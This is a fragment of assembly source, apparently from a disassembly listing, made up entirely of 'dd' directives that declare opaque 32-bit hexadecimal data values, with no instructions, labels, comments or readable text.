		dd 8540AABBh, 32D37BA2h, 0A08200E2h, 7F4BD047h,	621E4AF1h
		dd 0BAC00AE3h, 0CDE725CCh, 81951372h, 0B2500086h, 2F6B773Dh
		dd 841CE170h, 5AD32B46h, 17AE1203h, 4748F8F5h, 9258008Ah
		dd 7B63463h, 937B3D09h,	0AFE46801h, 0C402F9FDh,	0E072E8h
		dd 8D26D594h, 0A76D209Fh, 30008C74h, 0ED8FDF7Eh, 2E1A6712h
		dd 389521h, 0FC2FC0F1h,	0CD0066A6h, 0C3A4F353h,	5CBEAB8Fh
		dd 48509BFEh, 376858B6h, 15D01Eh, 0D6F0AF74h, 0F74829B3h
		dd 0E0C50B14h, 9740EBBh, 4E8810A0h, 0EF94A1Ch, 4B1D7D8h
		dd 7DA9BA4Ch, 0EE044D0h, 0DDBE0016h, 7FBCF42Dh,	0AA75B611h
		dd 12E5C602h, 4179CFBBh, 9870246Ch, 81C24048h, 0E04FFA00h
		dd 64B326C4h, 3AB00743h, 238C191Ch, 23C80C2Dh, 0DC00DA77h
		dd 0CFCB93E9h, 4BFEB7h,	59393152h, 85E13D67h, 22D79800h
		dd 40A4563Ch, 0E60E17A0h, 483BC5Fh, 78507D62h, 5CE2B0D1h
		dd 0AEACF4h, 72D486F7h,	0C2587973h, 0DD00BBFAh,	46083FBh
		dd 7F521Ah, 856F3BC0h, 1E090F1h, 88337000h, 62E52ED5h
		dd 18B00071h, 743A3E58h, 2907527Dh, 9A01414Ah, 2CDEAFC0h
		dd 20099D9h, 0B21B17CCh, 6E775DC0h, 0E36ED00h, 0B0A2E4ACh
		dd 8F670FFAh, 5CC38B52h, 4E001806h, 79D7DD5h, 8CE003h
		dd 0B8A54DBCh, 971C5166h, 5017DA00h, 0D5CC12BAh, 0AEEB389Ah
		dd 15181380h, 5E33FD36h, 0BC062F05h, 3F831050h,	4CC08C8Bh
		dd 1F65BC8h, 0B86BF2FDh, 0FDEF9AA8h, 0E10F3F5Ah, 0E28E4E19h
		dd 0C0653CAFh, 0F6A54EBCh, 0FD2D0084h, 0F92F911Dh, 779AA75h
		dd 31C7D00h, 1715318h, 148F0033h, 50CC952Eh, 5E1E303Fh
		dd 0E74F6DB7h, 0ECBEC0EAh, 40A311h, 0AD0BAECFh,	4971C0E4h
		dd 0BC6FCA00h, 9AE08D37h, 0DF9200BBh, 0F8C1841Dh, 5D7B67A6h
		dd 49F6200h, 7E0B53CBh,	0B94600D5h, 274A21E5h, 70B81CAFh
		dd 87B5C2Ch, 5B001B13h,	0B769088Fh, 0BAAB0025h,	404EA52Ah
		dd 817B4F39h, 0B3915D00h, 1A73EED6h, 63673FDFh,	0F07428h
		dd 326CA8D2h, 0F404A2E1h, 651F1B70h, 0E40CBB7h,	302C8985h
		dd 0E59500A8h, 585405EAh, 34F4A3E9h, 2711A20Eh,	26FC04DAh
		dd 0D0253C80h, 1766E260h, 403456AFh, 0FE07AE6Ch, 0F2044423h
		dd 896CBB35h, 7C605480h, 66E3065Dh, 0D94167C8h,	39354E30h
		dd 7E408C6Ah, 5EC401FFh, 2C9E73E3h, 9159FC11h, 2628D000h
		dd 1DAF7B0Dh, 0F1180043h, 9C4DFBE6h, 2300FA3Eh,	6C219267h
		dd 0EAA536h, 0B3568802h, 0A8CD3F5Dh, 430F80E0h,	60462509h
		dd 0F5944A5Ch, 954025EAh, 49D94800h, 0E632DB32h, 0E42091h
		dd 2088E10h, 248C5902h,	0E03845BDh, 0B72895h, 9CB0531Dh
		dd 0DB4A4EF5h, 423ED218h, 417BC2D9h, 4D0BE08Ch,	0A6D670Eh
		dd 0DEA88095h, 30FF218Ah, 7204140h, 6A1E46AAh, 87C365A4h
		dd 0E0DACB81h, 0C863629h, 0D40D034h, 67C58C0h, 38EFCD00h
		dd 2761D76Fh, 901900AAh, 0E3548E63h, 0DC01207Fh, 217E466Bh
		dd 8AD85107h, 0F6EE008Ch, 47B80AEFh, 0D0006664h, 7821A427h
		dd 11AB64Eh, 0C4A941D8h, 0E64D3596h, 62539EE0h,	0ABF95100h
		dd 886CA720h, 71120174h, 0D39ECCD6h, 0D4E7CF7Fh, 29FEC0B3h
		dd 0EA003583h, 8A108F7Bh, 9C8E4Ah, 5912A74Fh, 2928B7D1h
		dd 46520700h, 3BF44B0Dh, 0E010016h, 0EF13A7DBh,	5854CF4Fh
		dd 26107AA0h, 10602F9Dh, 0AEC6CF4h, 0C6A01000h,	0E11F7A64h
		dd 9C1B0038h, 0E97C062Bh, 0F1D9EEBh, 7A01F2D7h,	7DBA2A25h
		dd 0E47591CCh, 7F710B55h, 80DB8DDh, 0C040B59h, 1034B205h
		dd 0B9FB0004h, 3B2A5869h, 7E704BDEh, 2F2DF202h,	4335BE96h
		dd 0A628114Bh, 0D90F118Bh, 2894C208h, 842D6108h, 4053A20h
		dd 9F44C1F3h, 23AD448Ch, 4A309544h, 3C083C27h, 22D9884Ah
		dd 29CCCAA8h, 7D51CBh, 931E9BEEh, 0C5E00C09h, 8800B04Eh
		dd 692135D6h, 0ECDC7955h, 0CCB638E3h, 7B34E200h, 0D7A47432h
		dd 0C0BB007h, 1070FFBEh, 889CFEh, 0F38D17DFh, 0A6CA1454h
		dd 0D516DE0Bh, 391800C8h, 2E992B6Ah, 67EAEFh, 0FE65C66Bh
		dd 3C00A930h, 6A499CA8h, 94E56Ch, 6D25B87h, 0C49D2115h
		dd 4A00DF7Bh, 5CCDDB09h
		dd 0A6A32Eh, 5A82DED8h,	6E9FC4ADh, 4CDF3E12h, 3C683200h
		dd 5DF485h, 0E6A4DED6h,	5078E00Eh, 0DB75CC00h, 8D7A790Dh
		dd 53DA02FEh, 83518065h, 0F929A0E0h, 435E5800h,	8891E401h
		dd 905A7875h, 45DE0BC0h, 0B4408009h, 2807C347h,	0AF564890h
		dd 6BFAC8A0h, 2DF10023h, 68701520h, 0F00061BAh,	0F9ECA891h
		dd 0AC7FD8h, 0E8E1B1FAh, 0C13F6463h, 114B98A0h,	88A77603h
		dd 0E0295434h, 2C05F6h,	8FD6B944h, 2AA1B4C3h, 0AA2D9600h
		dd 0D4D509Dh, 3203003Fh, 867BF756h, 4B001167h, 50361631h
		dd 6751B2B3h, 4098A87Eh, 5A4967B4h, 1F1A8D3Dh, 3240B1F8h
		dd 9047A624h, 0F27A0075h, 677C645h, 0C4EAD081h,	5AF68D00h
		dd 0C589CF9h, 79267661h, 2A2F0310h, 0F43CB184h,	19646BE8h
		dd 8380593Dh, 0CCB7CA97h, 0C92800E1h, 1B1ED044h, 58986A81h
		dd 8549F3F0h, 9CA3EACh,	41234072h, 0B070D438h, 19F1167Fh
		dd 0E050440Fh, 528440B4h, 0C050E6FAh, 0D15A960h, 9777D56h
		dd 7916B6A0h, 0E0A7C905h, 87EA8D18h, 0D1CDA012h, 3001B5E9h
		dd 9D2ED80Fh, 0F870D44Dh, 892B6436h, 380B285h, 176CCF4Eh
		dd 787EFFh, 85370A7Eh, 0EAE1AA91h, 5E59F300h, 46135FE9h
		dd 7D330074h, 9FC57C99h, 0F87AFFA5h, 9A8B4106h,	0D0BB96h
		dd 0DD400D0Fh, 44FE8C9Ch, 42CEE803h, 96778Ah, 82F08820h
		dd 243587BDh, 6913B400h, 0BC9D6865h, 736F806h, 0D4E6A84Ch
		dd 1EAC604Dh, 5000EB77h, 7093B389h, 0AB1640h, 868FB86Fh
		dd 0C4B2BECh, 0BD3E23Bh, 87B31h, 0AD12B6ECh, 0E35FE7Ah
		dd 630293B9h, 221B91E0h, 70001E60h, 3C1A0EC0h, 27CB459h
		dd 0F53478D4h, 0B40817Bh, 261D0D3Ah, 964BE2E7h,	0B64820D2h
		dd 245789B1h, 808C44F3h, 0FF468D65h, 232E01E5h,	0A300A249h
		dd 793B8CEh, 133B16E0h,	2103EA85h, 0B0AB90DCh, 0C5CE5Eh
		dd 68BCFA71h, 0D38D26D4h, 188BB525h, 2DE642FCh,	8C009E35h
		dd 0A1D23831h, 0E9E7A200h, 0ECF43373h, 1E881CC6h, 0A0B800DEh
		dd 8D2D2B6Fh, 517F7C07h, 0F710FB5Ah, 116D3A3h, 0E0C317EEh
		dd 0DC04C987h, 0EC1E92AAh, 610E806Eh, 0A460A0A3h, 0B1F152h
		dd 687765CFh, 37E15F22h, 800B7F4h, 20DC76F9h, 3523D61h
		dd 40172789h, 70F99B25h, 818460DBh, 0AE8F7600h,	0BA8D093Eh
		dd 172500F2h, 46E283DAh, 4A00ACC6h, 2C963FA5h, 0D36F92h
		dd 3EA7910Dh, 709A6EF1h, 5CE6B00h, 0E107B84Fh, 0BD0A1EB3h
		dd 8C2740DBh, 0DE1AF7BCh, 0D799DD00h, 88CB6AC5h, 5B0F6D3h
		dd 9BA0A1D1h, 7D6E806Fh, 6300D7CEh, 285B49CFh, 38B76D9h
		dd 90A70129h, 0DEFA9365h, 6424B760h, 0CC5F6703h, 0B07438EBh
		dd 77B739E5h, 9E70000Ch, 0DDEA03D9h, 0DB7C9A8Fh, 7AFBBB00h
		dd 0E9D01CFEh, 353FECBh, 9689DC70h, 30F0F966h, 340058AFh
		dd 0D11E5F48h, 3817BAh,	0A937F8Ch, 32EC5A57h, 90009870h
		dd 136BF6EAh, 376CEFBh,	942405DEh, 1DF09914h, 0CC2C1F66h
		dd 0B81CF521h, 9E45A200h, 83CFE3h, 9CA928AEh, 35D34036h
		dd 321ED4F0h, 0DA001331h, 7D3B5EECh, 0F89100F1h, 792E46F2h
		dd 6000BDEFh, 7E16641Ch, 589C949Dh, 0D701241Ah,	0BBC12897h
		dd 0E553C44Dh, 0B6023Ch, 0A3D836EEh, 3B552306h,	7DD87D22h
		dd 600C9800h, 63561B0Bh, 851A8304h, 0C0BB570Dh,	9CC9C316h
		dd 0E8AB800h, 19442214h, 19A05CEEh, 0C0E1311Eh,	45488230h
		dd 7300C370h, 0B41E0528h, 1D06B846h, 608349h, 0E68F5CF3h
		dd 203B223h, 0D9A81447h, 0C897D0D7h, 0BB87B41h,	0F187558Ch
		dd 19A2005Fh, 0DA80D2h,	0C8B178BFh, 0DEB998A9h,	8AE0FB4Bh
		dd 1060002Fh, 9B828B34h, 5A00045Eh, 7D0576FEh, 0DBE386h
		dd 0B9134CF9h, 0A8AB397Eh, 2481F502h, 0E0226226h, 0EAD098h
		dd 9951A110h, 0E42F6619h, 0B0E39A00h, 0BE594830h, 1FCB77ABh
		dd 979EDDA2h, 2C82E003h, 3ADB8C14h, 188D0094h, 0FE0337Fh
		dd 77C20084h, 5566F546h, 0E1001912h, 0FE3FCA98h, 15BF09Bh
		dd 967C909Dh, 0E8B8FA30h, 7E00CD9Ah, 0B7F610DDh, 0BFD1A086h
		dd 4CAB5CC0h, 0BABCEC01h, 2D22DB35h, 7CFDE8h, 0C7B7F50Ah
		dd 9E2A38F8h, 9D1DE8C1h, 0F6E00780h, 61490263h,	68201B13h
		dd 300BDC87h, 14A5A8BBh, 5230A760h, 14EDCF9h, 8B0C377h
		dd 0CB01F144h, 51C0D7F2h, 2B00B5EEh, 0A67651CBh, 90FC83BCh
		dd 13F648h, 6E9ECF04h, 64EFEDBFh, 22989609h, 6926009Fh
		dd 3FEFC31h, 4F7EF051h,	80E08388h, 8101378Fh, 2CB90DBh
		dd 0A5E8ECCEh, 0CA7759h, 0EB50F229h, 0D37C74AAh, 1BB43800h
		dd 0D8BEADBCh, 29AE002Ch, 0D6A1F028h, 3E001CA8h, 0A56361A6h
		dd 7752F3Dh, 0B9B548C5h, 0F2023E6h, 6E41F3A0h, 0F789CE00h
		dd 0E3C27F02h, 6A7CB4h,	9D3CAEA7h, 94E61239h, 0FBCE000h
		dd 0F90C31B5h, 0F8181899h, 0B1A5A8FBh, 0A17CAF15h, 0C6E60098h
		dd 73456664h, 5FAA038Ah, 261149F6h, 6CED8890h, 10517E03h
		dd 0C8A2B717h, 3396E6h,	0B55F2FA1h, 59161972h, 13B30F09h
		dd 963881C1h, 3B3001ECh, 0DE5E014Ah, 54439104h,	0B9408099h
		dd 67AAEFEAh, 862B48E6h, 8438A300h, 0C335487Eh,	0FD48B16Fh
		dd 0D265D340h, 8B9972h,	0E1156162h, 0DD609C17h,	1CC5E603h
		dd 0E8FC6489h, 1C4A1A06h, 49048A6h, 0C0FBC3F3h,	3FF4D7CCh
		dd 6A0020EAh, 94D6F785h, 0F72EB0Eh, 9298093Ch, 29110D00h
		dd 0E700A0A3h, 46F74738h, 0E031C13Eh, 676B141Fh, 0CF489C86h
		dd 0D0FCBE00h, 0EB9B09B5h, 0E02F391Eh, 4CA4BA40h, 0A254B23h
		dd 0CF9DC3ABh, 603840E8h, 0B8002936h, 3137CECCh, 0ACDB4DFh
		dd 8795A55Fh, 69F600F0h, 8CDB4C57h, 532DD0A0h, 7BE1A00Bh
		dd 2B610362h, 6032D09Ch, 75F2002Ah, 0A848175Bh,	0D1F882A0h
		dd 0D4738F00h, 88D6A7F5h, 0C8A0A3CFh, 38963C9Bh, 7109FAB4h
		dd 6C8048DAh, 22631F4Dh, 93D51B00h, 95AD14FDh, 6BC1030Eh
		dd 0CE622460h, 325D3890h, 9D81DB00h, 0E4C62A59h, 0AA0C1CA2h
		dd 4F7FC196h, 0E0362514h, 5A71801Fh, 9DDA843Ch,	50053DDh
		dd 7775E895h, 9227164Eh, 73C300A3h, 0E4514B87h,	47149B0Fh
		dd 7B46C017h, 5B67EEh, 6FEC48E9h, 0D55AC484h, 20522501h
		dd 9BEFCACDh, 7CDC94D5h, 3F277F2Ah, 0F41F76B2h,	31880D8h
		dd 4B106B82h, 4D673B00h, 8FC0E637h, 7102001Ch, 46FF9F8Dh
		dd 5AF4F173h, 0E4B22A00h, 311487F5h, 0A94F1D6Dh, 0B14B4006h
		dd 0A0E94AA1h, 95223E00h, 3FC6AF1Eh, 0D7F000B6h, 2265D78h
		dd 6E00C081h, 5F0A7B91h, 1D538F5h, 0B05AECE5h, 304ADF75h
		dd 0EA2E1855h, 620E533Bh, 8A02E0EBh, 0A73920h, 0FEB5FAC7h
		dd 0F093DE4h, 17D59100h, 0FB1A47A6h, 90702E52h,	11F4033Bh
		dd 6B983243h, 88001FE6h, 2F8F5102h, 0A4E709h, 890AAFDCh
		dd 0DAD7E817h, 50D08100h, 0C57B3D5Bh, 16294C7Ch, 0FFCCA863h
		dd 0FE0A6EA0h, 0AC794B05h, 0B6800DDBh, 0CA54C9h, 28450138h
		dd 29632F44h, 9B00E9E4h, 0E01FA5C6h, 8813FEh, 0CB121C38h
		dd 0C03EEDBCh, 0E3084A01h, 0FAA08F35h, 61A948D0h, 0B307F045h
		dd 47DAC899h, 5477AB00h, 39A7091Ah, 0E047088h, 0D8D0C366h
		dd 4248A040h, 100C244h,	86A113DDh, 0A0E81CC9h, 29319B0h
		dd 0CEA1E39h, 0AD803E4Dh, 0F6A09B83h, 2F07217Ah, 885F5487h
		dd 0C32DD050h, 0B5110051h, 0B9DB8AC7h, 453BE93Ch, 0A3FD17A7h
		dd 8F9501FAh, 80FB117Dh, 4C1E8710h, 0A43D68h, 5F2D25ABh
		dd 0C2DCCB97h, 0E09596A1h
		dd 9C00A58Dh, 4B7B8841h, 75D9BDh, 39065D17h, 8A6DE6Ah
		dd 9D606700h, 0AFB2D189h, 0A8E70074h, 631A197Ah, 0A400FD55h
		dd 97075A1Eh, 8C330Ch, 0F9C9277Dh, 739035CCh, 7F63CE1Dh
		dd 6AC19C40h, 3B4389CBh, 0E080A3BAh, 7B0734E9h,	0F4002571h
		dd 81D559AEh, 78BBB0Dh,	38B6AF77h, 8AFF9143h, 0CFC84056h
		dd 8030345Dh, 0D6832831h, 727A2Dh, 8FCDC4AFh, 0BCEB421Eh
		dd 73EE1800h, 1298402Fh, 0FCDEFAACh, 6A850126h,	92FFCFF8h
		dd 2A90EC73h, 67C63300h, 58696CD4h, 3E23BC9h, 8300DC48h
		dd 0F78F8D21h, 7400C5EBh, 0D659FF40h, 0AEAC3Bh,	589A27D3h
		dd 8E8CD088h, 4CC59300h, 0A643A1B9h, 56690394h,	0DEEBA93Fh
		dd 0F970F190h, 1B0CFC01h, 0FB41ED02h, 303342C1h, 0A931A600h
		dd 0CAF99C3Fh, 0D6BEEE00h, 3ACB5DBBh, 44340FAEh, 0CE00599h
		dd 87B90AF4h, 40DFE32Fh, 32D29F1h, 302F7607h, 0E9D06AC2h
		dd 200FB8Fh, 0C4B3A35h,	0EA2045h, 7ED573Dh, 0C6A7D7ABh
		dd 90C4D330h, 2B9E89h, 0F9AAF105h, 0EE39C934h, 0BB3B5490h
		dd 0E40C0494h, 34C0015Ah, 141711h, 203E4256h, 0B235E522h
		dd 0A700F6E0h, 0FB99C112h, 7AAA63C5h, 3C07128h,	74E0BD4Dh
		dd 89D86CB5h, 0D8016F14h, 4FF1334h, 0C9F868C7h,	0B52A0071h
		dd 33B8F0C8h, 370389EAh, 0A58E09EBh, 0AAFABBDBh, 4425612Fh
		dd 0E536B041h, 72809082h, 0E080F813h, 0E38F4F32h, 239140h
		dd 97772DF7h, 6014E5C8h, 107C5F26h, 0DA4EE603h,	5F0CF50h
		dd 2E4DA9h, 0D92D651Bh,	3480E444h, 5D759100h, 0CB0856C9h
		dd 594E0011h, 2202BF2h,	0F400620Dh, 0ACE94228h,	17654593h
		dd 3B02779h, 0CB2DB562h, 0EC5DEFF0h, 0A96B5800h, 5F8D520Ah
		dd 4498A037h, 5A7201EAh, 82300DF8h, 0B558FAD4h,	0E0AEE917h
		dd 0D32ECF00h, 0B679D7h, 0D5EC5BA9h, 15E529Eh, 7C87AC07h
		dd 5733CBDCh, 632288E5h, 0D5F70702h, 80F8CE11h,	4258B57Fh
		dd 0D2B3F400h, 828C2B59h, 6DBF070Dh, 70FFAB99h,	1EFB5F5Ah
		dd 26447A00h, 0A4960FC2h, 0DAE6007Dh, 25CC5798h, 0B0004EFFh
		dd 2A191774h, 0EF6BEAE9h, 8A1AB050h, 7F701FE8h,	0B3CA0745h
		dd 288BE196h, 1464D043h, 0B60E157Eh, 20483840h,	0DAEF1D0Ah
		dd 51E300D1h, 0BBB9F38Bh, 0DB00D5C6h, 7A3B5D6Fh, 175EDD3h
		dd 0F0A35C6Ah, 20B40348h, 0CA033444h, 8C44B72h,	7A101E78h
		dd 0C38D0A6Bh, 2180B810h, 0C2C6AB24h, 851CF960h, 8D07FCBFh
		dd 83806312h, 96C732Dh,	91D40114h, 535687D7h, 73865C94h
		dd 0F89DF4D9h, 692E18B2h, 319E5842h, 0A8C13709h, 0EA8C2060h
		dd 7C20B8Ch, 644383B8h,	5A3E40B0h, 0B63050D3h, 0EC6E486Fh
		dd 0C0177773h, 8D6B4D58h, 0E7A03627h, 1501EE72h, 0AEC37671h
		dd 0EA70A3EFh, 0A0B30032h, 5387DBE6h, 2000466Ah, 966E8EC5h
		dd 9F8673h, 2B3926F5h, 0AF700ECBh, 9C474900h, 6E92D4BDh
		dd 9D8600CCh, 0EE3BC664h, 111E1E14h, 0F405CE7h,	0A8CB4F38h
		dd 0F5340097h, 3ACD4715h, 8F03B033h, 197692A2h,	5F5800BAh
		dd 3703B7C0h, 0DE038850h, 8F904D1Ch, 8EE2E047h,	633C0E61h
		dd 6E0BD2Ah, 0CF7E765Fh, 44C27F0Fh, 0A731001Eh,	2CB9AC3Fh
		dd 15D93Dh, 0FD72F3C9h,	0CB00264Ah, 0B2C1ED1h, 2EE7E179h
		dd 39AD1301h, 0ADE44786h, 0AC38981Bh, 0A8C43CA6h, 8900B8F0h
		dd 7B7DDCAEh, 748584DFh, 0CF1003D2h, 8CB38A47h,	917128A0h
		dd 4C094874h, 0A8A0A7h,	6B8EABE2h, 351130C8h, 0B3B75E20h
		dd 0DE2FCD05h, 889481A8h, 8768F896h, 0D4C05504h, 0F8937DCFh
		dd 10F663B6h, 3F0E015h,	4607A5E7h, 0D9DFF101h, 0B47066C7h
		dd 6418D37Bh, 20122943h, 82E1CEC4h, 2911FF63h, 76216CC1h
		dd 51CCB23Dh, 0AD1482BEh, 219A2469h, 211CD43h, 0E6B7113Fh
		dd 0DAFE7E11h, 0C4189A03h, 443E7604h, 6248E43Dh, 28CBD543h
		dd 0E4147A51h, 8468942h, 517E62EBh, 0AC2247CEh,	40EA24DFh
		dd 8536449Ah, 702E0E2Fh, 3EA3530Fh, 0F2F884CDh,	3BE48EFFh
		dd 0EFF87900h, 8978E3B7h, 0E7800F0Bh, 5620BFB4h, 0DA7D075Dh
		dd 98D3A916h, 2DD3B0h, 3460758Fh, 2633F880h, 31157800h
		dd 911A4BF0h, 0EC7B28h,	13AD0EC0h, 88FA7FEFh, 0B0502C2Eh
		dd 0FD91CC00h, 1E66772Ah, 0C02BE6B6h, 9AFB1A4Dh, 0CE39FEE3h
		dd 0A5948E0Dh, 0E6E84067h, 3F373E91h, 3C007361h, 60E1EA6Fh
		dd 0DC0B99E5h, 865244AAh, 430A9A3h, 699477FDh, 0FC2CB10Fh
		dd 0B200ED30h, 56C46C4Dh, 0A15938h, 0D1CDC3BFh,	0B552920Dh
		dd 800E0438h, 0B4177C37h, 0F69EBDE2h, 0C76B0082h, 495AD7BEh
		dd 0D31D88B8h, 0D98E8FE3h, 6EB1A4AAh, 345C5080h, 1E57E679h
		dd 0CB051F35h, 80FF2D06h, 29E9C65Bh, 197F00E2h,	12DCB303h
		dd 7D00611Fh, 0ECCB98A6h, 3787C4Fh, 2C33C128h, 8C884CBDh
		dd 8B00BFDAh, 761A4E79h, 59F8D74h, 83256CA0h, 34C40099h
		dd 0B2662C1Dh, 0E05C2400h, 2F8E4B6Eh, 4A73010Bh, 0A01E7A40h
		dd 99DBCCCDh, 76F86513h, 961CE0ECh, 0AD7C409Ah,	933AAE48h
		dd 1FE02903h, 0E0D3601Bh, 0EC7AA322h, 3365005Ch, 21A56956h
		dd 0BA7E30ABh, 0B553BE00h, 90F68AE5h, 34C00046h, 0FCD0E1B6h
		dd 0FA1DE7F3h, 96BFFE51h, 6500956Ah, 0C9C6D716h, 96850019h
		dd 0ABA2EECAh, 0A100486Bh, 8931B63Dh, 50477DFBh, 1CA7A8DFh
		dd 47E09051h, 904BEA84h, 81496874h, 4753DF00h, 69E4E74Ch
		dd 0E887006Ah, 0C24AECEDh, 2E001FD4h, 3EAF63C6h, 0E6FF7C8Dh
		dd 417ECBh, 0FB60F65Fh,	9F1FC9BDh, 9B59D400h, 928588B7h
		dd 3BA8F235h, 5780AF93h, 0D63A025h, 0D9006B29h,	0BE08A388h
		dd 0E0AAE6h, 605E0A81h,	4B26EF09h, 8AEBF601h, 87359CBCh
		dd 91F2DCh, 1F278BD0h, 4459182Bh, 2EE59F00h, 259E9794h
		dd 2C7A8Ah, 0AA7654DEh,	49013B52h, 9245D018h, 0B76080h
		dd 0A88CA0D3h, 50CCC230h, 51296403h, 0D83CD7BFh, 7F4E339Dh
		dd 2F6FA7Ch, 5811C68Eh,	0B3E06D38h, 32017FF1h, 63ADBE68h
		dd 1F08370h, 61BF008Ah,	0CC6BBCA2h, 0B6A023DAh,	0A9F2465Bh
		dd 0EF3CFD01h, 9CDE9243h, 7D1B9E8h, 697F1FA8h, 979330F2h
		dd 9800A2D0h, 0E15C58C3h, 0F8104Eh, 0F22A9E8Eh,	0A5BCCCA4h
		dd 8811AE1Fh, 8B2B6243h, 44A1B8C4h, 25960E80h, 1621993Dh
		dd 0F4B28826h, 4E033EB1h, 93471E05h, 0A2C0A728h, 0F70AE4h
		dd 9C95CD9Dh, 0B491A48Ch, 8005773Dh, 0E824A685h, 7A9E086Bh
		dd 95D70E4Bh, 0BE1C1170h, 0BD791680h, 0BBD2DA34h, 0F95F9000h
		dd 8C6635BCh, 1C88F063h, 40319177h, 0D8FD74E6h,	3238DEF0h
		dd 8C8F80B7h, 0EF0BC826h, 0ECD607A4h, 0F0B2FB19h, 8F4DAAA9h
		dd 51E0600h, 496623ACh,	8B7D3A39h, 0E68F626h, 81209809h
		dd 0B3F0BE8Ah, 4A4B4200h, 0E6DCBB54h, 419E48FEh, 3FBF7703h
		dd 0C5C885E3h, 5EFABCC9h, 35D8E100h, 0E2CA3D78h, 0C2E80023h
		dd 0C1793CB2h, 2609CC05h, 0AF3944h, 0EDFD2E4Ch,	37191E1Ah
		dd 0DC2BC054h, 78D3FA20h, 79C66F00h, 43BFEF12h,	5F8500E7h
		dd 0A78C9A2Bh, 0B500B6D5h, 0BEC61195h, 2EE634h,	0A407C081h
		dd 0AED1DCF8h, 2FBF5200h, 67624080h, 6F6501A7h,	0A20BEA5Ch
		dd 5EC7FC94h, 3451D11Ch, 3B393D40h, 1654231h, 872F57A7h
		dd 0DCC4B9B4h, 0E100FC85h, 0CAF76F09h, 0BD8CFh,	0DFFDF099h
		dd 0FC801EEBh, 0B2DAF900h, 0D5F64A3Dh, 23B903B1h, 58711995h
		dd 0CF7BFF88h, 902C9D00h, 0D6773FF4h, 0E6803C50h, 0E05B4900h
		dd 0ACC266DCh, 60396DF8h
		dd 0DBAA8030h, 25B340A6h, 0D7E85Ah, 75D8DC12h, 0C4D13B64h
		dd 0F9C8C307h, 2DC09EC9h, 4E9ACBh, 0A97554E0h, 99A2BC5Fh
		dd 7C988C79h, 0AC658600h, 284BC91Dh, 0D88D0735h, 909D2D9Ah
		dd 9A71F3Ah, 0F701A890h, 1954B27Dh, 0C460833Eh,	9F7C79h
		dd 6C316AFDh, 33177E46h, 0E2F4439h, 60A58477h, 0A0636958h
		dd 0B73D0081h, 0E5B25C4h, 0BB0E3CBAh, 401AECFBh, 6FC5BD92h
		dd 943B00D3h, 0D55C39F2h, 61EE3720h, 0C6768678h, 586DD400h
		dd 8E5DA930h, 3ADE006Ch, 0CD8D63CBh, 0A67AD09Ah, 0CFE7AE00h
		dd 86F94AB9h, 0F3B700B4h, 0A0EEFDBh, 1C0433F0h,	0F16E12A7h
		dd 394D90C0h, 0D747161Dh, 0E8360089h, 2B9E55A3h, 26A0C516h
		dd 80313C09h, 5677417Ch, 8ECB0019h, 2EBDD15Ah, 36003A66h
		dd 72F3E7BCh, 0FE28AAFh, 0DED5F020h, 3212C7E0h,	26008540h
		dd 5B2B10E0h, 8F1A6Dh, 73E4DCD8h, 0C2065F9Bh, 0BDBC4000h
		dd 0C6B36F8Ch, 69EC89h,	84CB025Ch, 3031B018h, 0F7E89F7Ah
		dd 0C06F5700h, 3F67228Ah, 0D31A0BE2h, 0DA002D85h, 5589EF2h
		dd 0B5161201h, 0BFDF8221h, 0F4136170h, 5559036Ch, 6A6636B1h
		dd 20986D88h, 6773EA01h, 934FD1E5h, 6E43F4h, 915B7985h
		dd 60C7FAA1h, 0CC1CDF73h, 99C0E9CFh, 0DC9D30D2h, 31E40077h
		dd 26BFB6B9h, 0D975EC0Fh, 6B0FF27Eh, 80BA4DA5h,	0AEF1900Ah
		dd 0F5110101h, 73793F43h, 0C8E3DC96h, 600CCF2h,	6336BDB6h
		dd 140A8EBh, 7122D48Ah,	0C854D682h, 0C9076D35h,	604F6431h
		dd 0A379A8C0h, 13820065h, 5B8D7A81h, 0C1008F78h, 0B2352D0Ch
		dd 87F1C0h, 6A800F45h, 9968D17Fh, 8C0A5D00h, 0AD92448Eh
		dd 544E031Bh, 0F271808Fh, 570C55F0h, 6276E102h,	6119E5FFh
		dd 8ED1A254h, 224C70h, 0E769CF84h, 39CCB206h, 83472400h
		dd 70D82082h, 5D45004Fh, 0F4EE1049h, 0A100B5B0h, 96FC0694h
		dd 0EE28157Bh, 34AD0037h, 0CAF9557Ch, 0A8040522h, 2EEFE44Ch
		dd 17FF5980h, 1E907692h, 49B8E5h, 0FBB64FA5h, 3D0032D8h
		dd 219BF1ABh, 24459Fh, 0EBD0F5C7h, 0FF658E27h, 8A092D1Ch
		dd 91144Bh, 0DF6B0BACh,	0B87D0025h, 7746935Bh, 0EE00D13Dh
		dd 0DA2218A4h, 9892E4Eh, 78E785B9h, 0ED000C89h,	0BE0BB2E1h
		dd 596E991Dh, 0F5A75F00h, 0B80E69D9h, 9432502Fh, 2648B004h
		dd 36AD387h, 946E589Fh,	0EF697813h, 7D826800h, 0B09057A9h
		dd 8DD7123Bh, 9DA40034h, 649F9A65h, 620705Ch, 9C21C515h
		dd 1F501C08h, 375E4038h, 0F67C3E86h, 33B47702h,	0D40C92A1h
		dd 0B5803B60h, 0E15BEF16h, 9E17392Eh, 44066F62h, 3DE0E4E5h
		dd 5A00FFF7h, 98F28C92h, 957D601Dh, 1CC04300h, 8FBE3BC9h
		dd 68F60526h, 803CB373h, 0F129A335h, 0AA059276h, 0A7E63E83h
		dd 0B530B6C0h, 0D5F854h, 85A370CCh, 16042ED4h, 50295E26h
		dd 5797EC00h, 0F1735Fh,	7402FC4Eh, 6F7FF76Eh, 953BA300h
		dd 0EEAC9EFBh, 0C6790B63h, 0D42538AAh, 36A813Ah, 29B88059h
		dd 76F4179Fh, 0A8FA0015h, 0D36CDF80h, 6B17AC57h, 7E03B6FFh
		dd 1D5F4ECDh, 40081230h, 0F2049B8Fh, 0FE004692h, 53A68954h
		dd 3037730h, 0F38C82E2h, 0D1F00B37h, 0D7006F31h, 0A2F057E0h
		dd 0FAAF6C3Fh, 0E67ED0h, 22133C85h, 0D315B934h,	0ABC4E200h
		dd 7A1A8972h, 16B006Dh,	0F6D58763h, 472E9F38h, 0BB00F4F3h
		dd 0C8990862h, 4F480E24h, 5A0066D0h, 0F63F11CEh, 97576000h
		dd 5CA2E955h, 34CD0094h, 0BC8A6938h, 8003C867h,	6DCCC925h
		dd 7ECBB855h, 6CD7481Ch, 0E991067Bh, 50022AD6h,	85E43E00h
		dd 8A2446F7h, 0CAD00099h, 0EBA13A51h, 1502D505h, 0C4291792h
		dd 3847E0AEh, 662F03EDh, 4343B57h, 141311A0h, 23D4A58h
